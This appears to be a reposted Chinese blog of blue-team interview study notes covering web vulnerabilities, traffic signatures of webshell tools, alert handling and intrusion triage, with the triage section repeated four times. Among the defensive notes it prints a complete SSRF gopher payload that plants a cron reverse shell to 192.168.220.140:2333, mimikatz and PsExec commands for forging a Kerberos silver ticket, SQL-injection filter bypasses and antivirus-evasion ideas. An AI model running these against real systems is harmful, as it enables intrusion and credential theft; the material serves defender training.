护网蓝中面试题

admin 2024年4月17日17:44:38评论10 views字数 10840阅读36分8秒阅读模式

fastjson不出网利用

fastjson≤1.2.24

条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

安全加固

4. 操作系统加固

1. 配置加固

2. 应用程序加固

3. 软件加固

5. 服务器加固

邮箱定位画像

1:最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,

收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;

2:封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、

域名注册服务商!你可以整理一下证据,像西部反映一下。或者去相关网站举报这些网站。

sql注入dnslog外带

利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,

利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入

,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,

访问时将访问服务器,记录后查看日志。

注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)

sql注入堆叠

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询

原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够

虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,

又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,

往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

如何防御sql注入

base64编码、url编码、双url编码、宽字节、使用/**/分割sql关键字、替换空格为xx

如何防御sql注入漏洞

1、在代码层面使用过滤函数正则表达式等对传入的参数进行一个过滤、检测、处理,使得传入的恶意数据无法按照预想方式执行

2、预编译sql语句

3、使用waf,安全狗,阿里云盾等waf进行防护

4、经常进行基线检查、漏洞扫描等工作

sql写shell条件/sqlmap写shell

条件:

1、sql写shell可以用到两个函数outfile和dumpfile可用(select into outfile不可写入二进制可执行文件,select into dumpfile 可写入二进制可执行文件)

2、关闭安全模式(需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址,设置为NULL的时3、候不允许导出文件)

4、需要足够的权限

5、需要知道网站的绝对路径

6、GPC关闭可使用单引号

sqlmap --os-shell:

对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个返回课以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。

序列化反序列化及其流量特征

序列化:对象转换为字符串

反序列化:字符串转换为对象

流量特征:

shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。

fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为

st2-045:请求头中的Content-Type字段

流量分析

拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:

http contains "关键字"

http.response.code == 200

http.request.method == POST

tcp.prot == 80

ip.addr == "10.1.1.1"

ip.src

ip.dst

天眼基本搜索语法

sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200) 

#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志

dport:"443" OR dport:"8080

#访问端口是443或者8080的流量日志

dport:"80" NOT host:"www.example.com"

#访问端口为80,排除访问www.example.com域名的流量日志

dip:"10.1.1.2" AND client_os:"windows7"

#服务器ip为10.1.1.2,操作系统为windows7的流量日志

处置方案:

传感器上出现sql注入告警后

1、验证此条sql注入告警是否真的存在sql注入漏洞

2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为

3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户

4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何

5、将发现时间及攻击行为反馈给护网客户

传感器上出现RCE告警

1、验证此条警告师傅真的成功(若成功直接出报告)

2、若失败,判断攻击者是手工还是工具批量扫描行为

3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何

4、将发现时间及攻击行为反馈给护网

ssrf利用ridis打内网

方法二:通过【curl命令】和【gopher协议】远程攻击内网redis

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。 

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是:redis是以root权限运行的。

payload2如下:

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=

gopher://172.21.0.2:6379/

_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;

payload采用的是bash反弹,定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

nc -lvp 2333 (或nc -l 2333)

流量

冰蝎 2.0 强特征是 accept 里面有个 q=.2

冰蝎 3.0 Content-Type: application/octet-stream

冰蝎 4.0 ua头 referer头 accept 默认aes128 秘闻长度16整数倍

蚁剑是 ua 有 answord 蚁剑的加密特征是以 "0x.....="开头

哥斯拉 pass 字段

菜刀流量存在一些特征字 eval base64

AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段

Nessus 扫描器的特征:nessus 字段

java漏洞

shiro(Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,

在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、

AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是: 

获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。

因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。

Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,

无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。

如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

————————————————

shrio550和721的区别

主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的

Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。

利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

fastjson(4.fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,

在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,

并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,

只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,

其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!

)(@tamp)

weblogic(Weblogic的WLS Security组件对外提供webservice服务,

其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,

导致可执行任意命令。

1.3漏洞利用

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。)

log4j(log4j2框架下的lookup查询服务提供了{}字段解析功能,

传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。

这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务

(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,

在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,

造成了远程代码执行(可反弹shell到指定服务器)。)(流量jnd${log4j:123}i)

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

**Linux 入侵排查思路**

第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->

第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->

第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->

第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->

第五步:分析中间件、Web 日志,如 access_log 文件->

第六步:调用命令 last/lastb 翻阅登录日志->

第七步:分析/var/log/cron 文件查看历史计划任务,

第八步->分析 history 日志分析操作命令记录->

最后一步:分析 redis、sql server、mysql、oracle 等日志文件

**Windows 入侵排查思路**

第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通

过 tasklist 进行进程定位)->

第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->

第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->

第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->

第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->

第六步:运行 taskschd.msc 排查有无可疑的计划任务->

第七步:输入%UserProfile%Recent 分析最近打开过的可疑文件->

第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的

access.log 日志文件。

陆续推出青藤万相·主机自适应安全平台、青藤蜂巢·云原生安全平台、青藤猎鹰·威胁狩猎平台、

青藤雷火·AI-Webshell检测系统、青藤零域

制作白银票据  (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)

制作白银票据的条件:

1.域名称

2.域的SID值

3.域的服务账户的密码HASH

4.伪造的用户名,可以是任意用户名,一般伪造administrator

5.需要访问的服务

第一步:

管理员权限运行

mimikatzprivilege::debug #提升权限

sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

第二步:

清空本地票据缓存

kerberos::purge #清理本地票据缓存

kerberos::list #查看本地保存的票据

第三步:

伪造白银票据并导入

kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

第四步:

访问域控的共享目录

dir \win08c$

远程登陆,执行命令

PsExec.exe \win08 cmd.exe

whoami   #查看权限

黄金票据

1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]

2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

weblogic原理

1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)

2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551

3.通过 javabean XML方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)

weblogic xml反序列化

原理:xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行

特征:服务器开放7001端口  传递xml数到wls-wsat  数据包内容有bash或者dnslog字段。

stu2

stu2-045:

Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行

站库分离打法

对站库分离类型站点通常可以有两个渗透入口点。

  1. web 网站

  2. 数据库

渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。

  1. 从 web 网站打入进而打站库分离的数据库,内网渗透

  2. 从数据库打入进而打站库分离的 web 网站,内网渗透

Java内存马排查思路

内存马在语言类型上有PHP内存马,Python内存马,而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀,java内存马又主要分为下面这三大类

servlet-api类

filter型

servlet型

listener型

spring类

拦截器

controller型

Java Instrumentation类

agent型

内存马特征的识别

检测工具(arthas,java-memshell-scanner)

ridis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);

数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点,且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。

403绕过

使用插件 X-Forwarded-For Header

使用BurpSuite

使用BurpSuite插件 BurpSuite_403Bypasser【推荐】

修改HOST

覆盖请求URL

Referer标头绕过

代理IP

扩展名绕过

免杀思路

特征码检测

对文件或内存中存在的特征做检测,一般的方法是做模糊哈希或者机器学习跑模型,优点是准确度高,缺点是对未知木马缺乏检测能力。所以目前依赖厂商的更新,厂商做的更新及时能有效提高杀软的防护水平。目前一些杀软对相似的病毒有一定的检测能力,猜测是基于模糊哈希做的。部分杀软同样对于加壳也有检测能力,对于不同的厂家有不同的策略,有些会对文件进行标记,而某数字会直接告警。

关联检测

检测的特征不仅仅是恶意payload的特征,也可能是一组关联的代码,把一组关联信息作为特征。比如在使用加载器加载shellcode时,需要开辟内存,将shellcode加载进内存,最后执行内存区域shellcode。这些步骤就被反病毒人员提取出来作为特征,在调用了一组开辟内存的函数比如virtualAlloc之后对该内存使用virtualProtect来更改标示位为可执行并且对该内存进行调用就会触发报毒。以上只是一个简单的例子,具体情况具体分析,部分厂商对其进行了扩展,所以现在使用另外几个函数进行调用也无法免杀。不过其本质还是黑名单,还存在没有被覆盖到的漏网之鱼。

行为检测

行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:

  • 延时,部分沙箱存在运行时间限制

  • 沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测

  • 部分沙箱会对文件重命名,可以检测自身文件名是否被更改

面试过程中把面试官带入自己的节奏中

推荐了解以下领域

数据安全

企业安全建设

免杀思路

逆向

原文始发于微信公众号(芸云虾扯蛋):护网蓝中面试题

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月17日17:44:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   护网蓝中面试题https://cn-sec.com/archives/2665681.html

发表评论

匿名网友 填写信息